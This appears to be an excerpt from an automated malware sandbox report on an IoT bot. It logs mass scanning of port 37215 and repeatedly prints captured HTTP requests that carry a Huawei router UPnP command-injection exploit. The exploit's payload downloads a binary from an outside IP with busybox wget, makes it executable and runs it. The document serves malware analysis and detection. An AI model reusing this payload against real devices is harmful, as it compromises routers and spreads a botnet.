Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 140.184.154.76:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.145.79.35:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.77.61.117:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.61.235.81:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.109.206.254:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.133.144.38:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.126.126.56:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.48.97.157:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.121.219.249:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 159.214.43.43:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.135.165.113:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 115.207.63.191:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 49.142.206.70:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.221.167.77:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.102.57.70:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.36.166.208:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.47.68.211:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.201.4.227:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.159.135.0:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 93.184.93.225:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.11.108.108:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.25.190.16:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 38.11.90.106:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 79.245.245.133:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 52.40.179.250:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.147.77.233:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 151.52.129.99:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.186.75.159:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.211.34.173:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.235.111.76:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.41.16.171:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.139.21.205:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.240.224.229:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.67.240.82:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.60.79.8:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.185.6.131:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.215.177.83:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.207.101.20:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.170.165.237:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.17.144.52:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.208.25.123:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 69.126.118.126:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.65.52.152:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 149.43.178.45:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.231.108.202:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.121.54.62:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 182.236.58.237:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.157.51.129:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.94.136.144:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.232.99.72:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.137.99.3:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.169.165.157:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.103.63.160:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.204.216.17:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.70.23.26:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.42.105.107:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 166.14.159.253:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.116.130.163:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.112.213.200:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.57.5.1:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.200.147.163:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.10.49.221:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.113.44.21:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.117.45.236:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 179.205.217.6:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.160.224.122:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 81.145.75.168:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.104.114.171:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.223.153.152:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 160.8.59.22:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 145.18.224.248:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.249.63.35:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.244.200.105:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.14.128.205:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.251.49.17:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 75.233.3.69:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.152.144.168:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.241.149.210:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.245.245.172:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.88.93.145:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 176.142.27.7:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.144.219.132:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.40.138.186:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.67.188.230:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 171.212.32.142:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.168.88.110:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.155.14.159:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.22.137.52:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.129.2.199:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.159.107.104:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.221.198.99:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.248.150.153:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.87.201.251:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.25.19.223:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.111.42.195:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.4.169.93:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.159.14.243:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.33.80.189:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.214.74.230:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.100.151.200:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.21.99.97:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 98.218.116.10:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.45.38.55:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 138.203.119.197:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.34.38.7:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.175.20.86:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.52.214.141:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.198.213.127:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.241.216.61:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.231.62.49:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.214.148.201:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 42.182.171.159:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.144.150.196:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.158.24.193:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 35.127.88.211:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.97.107.70:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.175.61.69:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 159.213.140.38:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.192.145.225:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.158.107.171:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.72.255.4:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.59.160.18:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.17.192.188:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 166.179.177.119:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.16.187.88:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 193.48.89.3:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.76.68.155:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.109.101.229:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.216.24.82:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.99.149.8:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.76.174.88:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.122.117.167:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.70.177.89:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.20.199.29:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 69.142.84.159:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 166.215.223.46:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.202.89.181:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 149.160.175.6:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.107.19.230:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 164.247.122.157:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.226.201.250:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.25.135.149:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 19.169.15.10:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.196.41.159:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 14.82.252.225:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.244.242.2:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 145.24.3.72:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.232.94.217:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.94.160.62:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.253.214.189:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 12.185.173.13:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.230.118.182:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.59.117.62:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 114.25.130.249:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.115.207.120:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.253.206.155:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 92.130.32.57:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.204.62.43:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.146.59.69:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.149.250.8:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.105.173.216:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.217.13.142:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 135.85.149.100:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 59.100.192.177:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.234.152.121:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 32.75.71.102:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.117.232.242:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.167.90.27:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 103.180.105.235:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.91.31.150:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.129.33.56:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 45.82.249.11:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.161.20.166:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 195.241.5.221:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 168.138.9.57:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.144.80.20:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.83.247.31:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.238.1.143:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.25.74.228:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.210.154.29:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 195.210.213.102:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 77.69.89.225:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.188.85.78:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.236.111.132:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.149.175.97:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.203.201.85:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 142.113.125.53:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.96.183.43:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.107.182.78:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.225.180.175:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 61.172.204.183:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.194.46.185:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.190.238.237:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.214.10.205:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.45.136.179:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.192.110.42:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.211.107.219:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 44.46.146.239:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.134.5.239:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.153.13.18:37215

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Source: unknown

DNS traffic detected: query: BC@^]B replaycode: Name error (3)

HTTP GET or POST without a user agent

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
